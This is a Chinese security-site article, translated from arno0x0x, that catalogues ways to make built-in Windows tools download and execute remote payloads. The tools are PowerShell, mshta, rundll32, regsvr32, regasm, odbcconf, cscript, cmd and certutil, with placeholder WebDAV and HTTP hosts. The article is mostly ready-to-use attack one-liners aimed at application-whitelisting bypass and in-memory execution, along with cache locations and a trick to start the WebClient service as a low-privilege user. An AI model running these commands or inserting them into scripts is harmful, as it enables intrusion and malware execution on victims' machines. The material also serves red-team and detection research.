payload
FB招聘站
分类阅读
专栏
公开课
FIT 2019
企业服务
用户服务
搜索
投稿
登录
注册
渗透经验 | Windows下载远程Payload并执行代码的各种技巧 Alpha_h4ck2017-12-01共479022人围观 ,发现 6 个不明物体 系统安全
近期,攻击者使用DDE执行任意命令行工具并入侵系统的情况开始增加,而这似乎也成为了近期的一种趋势。但是,除了PowerShell之外,还有哪些炫酷的命令行工具是攻击者可以选择使用的呢?
y2.png
首先,这些命令行工具需要满足以下条件:
1. 允许执行任意代码;
2. 支持从远程服务器下载Payload;
3. 支持代理;
4. 支持尽可能多的Microsoft标准(或使用广泛的)代码库;
5. 只会在内存中执行,而不会在磁盘中留下痕迹;
实际上,前人已经在这个领域做出了很多的努力。尤其是@subTee,他不仅设计出了应用程序白名单绕过技术,而且他还发明了使用Microsoft内置代码库来执行任意代码的方法。
需要注意的是,并非所有的命令行工具都满足上述所有的条件,尤其是上面的第五点,因为在绝大多数情况下,工具都会在目标系统的本地磁盘中下载Payload或其他恶意文件。
如果考虑到需要从远程服务器下载Payload文件的话,一般只有下面这三种可能的情况:
1. 命令本身可以接受一个HTTP URL作为其中一个参数;
2. 命令接受一个UNC路径(指向一台WebDAV服务器);
3. 命令能够执行一个小型的内联脚本(脚本负责完成下载任务);
根据Windows系统版本的不同(Win 7或Win 10),系统会将那些通过HTTP下载的对象存储在不同的IE本地缓存之中:
C:\Users\
C:\Users\
而通过UNC路径(指向一台WebDAV服务器)访问的文件将会被存储在WebDAV客户端本地缓存之中:
C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV
在使用UNC路径指向一台托管了Payload的WebDAV服务器时,请记住一点:只有当WebClient服务开启之后该功能才能正常工作。假设该服务没有开启,那么如果你想使用低权限用户角色来开启该服务的话,可以直接在命令行界面中使用命令“pushd \\webdavserver & popd”。
在下面给出的场景中,我们将会给大家介绍几种热门命令行工具的使用以及注意事项。
PowerShell
毫无疑问,Powershell绝对是目前最著名的命令行工具了,但同时它也受监控最多的一个了。下面给出的是一种代理友好型命令:
powershell -exec bypass -c"(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"
在这条命令中,负责执行网络调用的是powershell.exe,而且不会在本地磁盘中写入Payload。
当然了,你也可以对命令进行部分编码。除此之外,你还可以直接从一台WebDAV服务器来调用Payload:
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
在上面这条命令中,负责执行网络调用的是svchost.exe,而命令会将下载的Payload文件写入到WebDAV客户端本地缓存之中。
Cmd
当你想使用cmd.exe运行一个批处理文件时,为什么情况会变得很复杂呢?尤其是当你的批处理文件不仅会执行一系列命令,而且还嵌入了任意类型文件的时候。大家可以参考一下我自己开发的Invoke-EmbedInBatch.ps1脚本(受到了@xorrior的启发),它可以帮助你轻松地在目标主机中释放任何代码、dll、以及脚本:
https://github.com/Arno0x/PowerShellScripts
命令如下:
cmd.exe /k <\\webdavserver\folder\batchfile.txt 在上述命令中,负责执行网络调用的是svchost.exe,而命令会将下载的Payload文件写入到WebDAV客户端本地缓存之中。 Cscript/Wscript 这两种命令行工具也是很常见的,我们可以使用一行命令来从一台远程服务器中下载Payload: cscript //E:jscript\\webdavserver\folder\payload.txt 在上述命令中,负责执行网络调用的是svchost.exe,而命令会将下载的Payload文件写入到WebDAV客户端本地缓存之中。 Mshta 实际上,Mshta跟cscript/wscript是一类的,但是它还可以执行内联脚本,我们可以通过内联脚本来下载并执行Payload代码: mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")")) 在上述命令中,负责执行网络调用的是mshta.exe,而命令会将下载的Payload文件写入到IE本地缓存之中。 由于mshta还可以接受URL地址作为参数并执行HTA文件,因此我们还可以使用下面这种小技巧来执行命令: mshta http://webserver/payload.hta 其中,负责执行网络调用的是mshta.exe,而命令会将下载的Payload文件写入到IE本地缓存之中。 除此之外,下面的命令还可以隐藏mshta.exe所下载的内容: mshta \\webdavserver\folder\payload.hta 其中,负责执行网络调用的是svchost.exe,而命令会将下载的Payload文件写入到WebDAV客户端本地缓存之中。 Rundll32 Rundll32也非常出名,它的使用方式非常多样化。首先,我们可以使用UNC路径来引用一个标准的DLL文件: rundll32 \\webdavserver\folder\payload.dll,entrypoint 在上述命令中,负责执行网络调用的是mshta.exe,而命令会将下载的Payload文件写入到IE本地缓存之中。 Rundll32还可以用来调用某些内联脚本: rundll32.exejavascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); 其中,负责执行网络调用的是rundll32.exe,而命令会将下载的Payload文件写入到IE本地缓存之中。 Regasm/Regsvc Regasm和Regsvc是@subTee发明的其中一种应用程序白名单绕过技术,你需要创建一个特殊的DLL(可使用.Net或C#编写)来获取相应接口,然后通过WebDAV来调用这个文件: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe/u \\webdavserver\folder\payload.dll 其中,负责执行网络调用的是svchost.exe,而命令会将下载的Payload文件写入到WebDAV客户端本地缓存之中。 Regsvr32 这种技术也是@subTee发明的,它需要的脚本跟mshta所使用的有些许不同。首选方法如下: regsvr32 /u /n /s/i:http://webserver/payload.sct scrobj.dll 负责执行网络调用的是regsvr32.exe,而命令会将下载的Payload文件写入到IE本地缓存之中。 其次,我们还可以使用UNC/WebDAV: regsvr32 /u /n /s/i:\\webdavserver\folder\payload.sct scrobj.dll 其中,负责执行网络调用的是svchost.exe,而命令会将下载的Payload文件写入到WebDAV客户端本地缓存之中。 Odbcconf Odbcconf跟regsvr32有些类似,它同样是@subTee发明的。它能够执行包含特殊功能的DLL,需要注意的是,这种DLL文件不需要使用.dll后缀,而且可以通过UNC/WebDAV下载: odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} 其中,负责执行网络调用的是svchost.exe,而命令会将下载的Payload文件写入到WebDAV客户端本地缓存之中。 命令结合 实际上,我们可以根据自己的需要来同时运行多条命令。 比如说,整个Payload下载部分我们都可以通过certutil.exe来完成: certutil -urlcache -split -fhttp://webserver/payload payload 除此之外,我们还可以用certutil.exe配合InstallUtil.exe来执行特殊的DLL: certutil -urlcache -split -fhttp://webserver/payload.b64 payload.b64 & certutil -decode payload.b64payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil/logfile= /LogToConsole=false /u payload.dll 当然了,你也可以直接传递一个可执行文件: certutil -urlcache -split -fhttp://webserver/payload.b64 payload.b64 & certutil -decode payload.b64payload.exe & payload.exe Payload样本 你可以从atomic-red-team的GitHub代码库中获取可用的Payload样本: GitHub地址:https://github.com/redcanaryco/atomic-red-team 除此之外,你也可以从GreatSCT项目的GitHub中获取自动生成的Payload: GitHub地址:https://github.com/GreatSCT/GreatSCT 当然了,我自己的Gist【传送门】中也托管了不少的Payload样本,感兴趣的同学可以参考一下。 * 参考来源:arno0x0x,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM Alpha_h4ck Alpha_h4ck 578 篇文章 等级: 10级 || 上一篇:病毒分析 | Overlay攻击之完美伪装的移动银行木马下一篇:血淋林的例子告诉你,为什么防“上传漏洞”要用白名单 发表评论已有 6 条评论 langyajiekou (6级) 2017-12-01回复 1楼 这个好,必须收藏。 亮了(0) hell0@w0r1d 2017-12-01回复 2楼 six six six 亮了(0) weber213 (4级) 2017-12-01回复 3楼 mark 亮了(0) 卿君莫笑 (2级) 2017-12-01回复 4楼 six six six 亮了(0) 死宅10086 (7级) 2017-12-01回复 5楼 亮了(1) 花仙子 (1级) 2017-12-02回复 6楼 six six six… 亮了(0) 昵称 请输入昵称 必须您当前尚未登录。登陆?注册邮箱 请输入邮箱地址 必须(保密)表情插图 有人回复时邮件通知我 Alpha_h4ck Alpha_h4ck 好好学习,天天向上 578 文章数 5 评论数 最近文章 Slither:第一款针对Solidity的静态分析框架 2018.11.18 BYOB:我的天!又一个僵尸网络开源了BYOB僵尸网络开源代码 2018.11.18 BlobRunner:一款功能强大的恶意软件Shellcode调试与分析工具 2018.11.16 浏览更多 相关阅读 Zeus Panda Banker银行木马变种分析macOS平台上首现RaaS(勒索软件即服务)模式的恶意软件Process Doppelgänging:绕过杀软检测的新技术魔波广告恶意病毒简析俄罗斯黑市竟兜售“会讲话”的赎金勒索软件 特别推荐 关注我们 分享每日精选文章 活动预告 11月 FreeBuf精品公开课·双11学习狂欢节 | 给努力的你打打气 已结束 10月 【16课时-连载中】挖掘CVE不是梦(系列课程2) 已结束 10月 【首节课仅需1元】挖掘CVE不是梦 已结束 9月 【已结束】自炼神兵之自动化批量刷SRC 已结束 FREEBUF免责声明协议条款关于我们加入我们广告及服务寻求报道广告合作联系我们友情链接关注我们 官方微信 新浪微博腾讯微博Twitter赞助商 Copyright © 2018 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号 css.php 正在加载中...0daybank
文章评论